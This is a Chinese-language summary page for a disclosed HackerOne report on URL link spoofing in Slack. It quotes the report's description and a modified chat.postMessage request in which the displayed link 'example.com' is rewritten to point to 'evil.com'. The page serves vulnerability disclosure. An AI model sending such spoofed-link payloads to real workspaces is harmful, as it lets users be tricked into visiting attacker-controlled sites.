URL link spoofing
该报告还没有中文解读。
原文摘录
摘自原文(1310 字符中的一小部分)
Words such as `http://example.com` and `example.com` included in the message are displayed by URL link. This URL link naturally links to `example.com`. However, we can spoof the link destination by changing the message post request.
原文中的代码
POST /api/chat.postMessage HTTP/1.1 Host: example.slack.com ... ... -----------------------------87462859699239992111770463 Content-Disposition: form-data; name="text" -http://example.com +<http://evil.com|http://example.com> -----------------------------87462859699239992111770463 ...
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Slack 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @bfe3fdb1088411d8ef018aa3abde8 · 版权归作者与 Slack 所有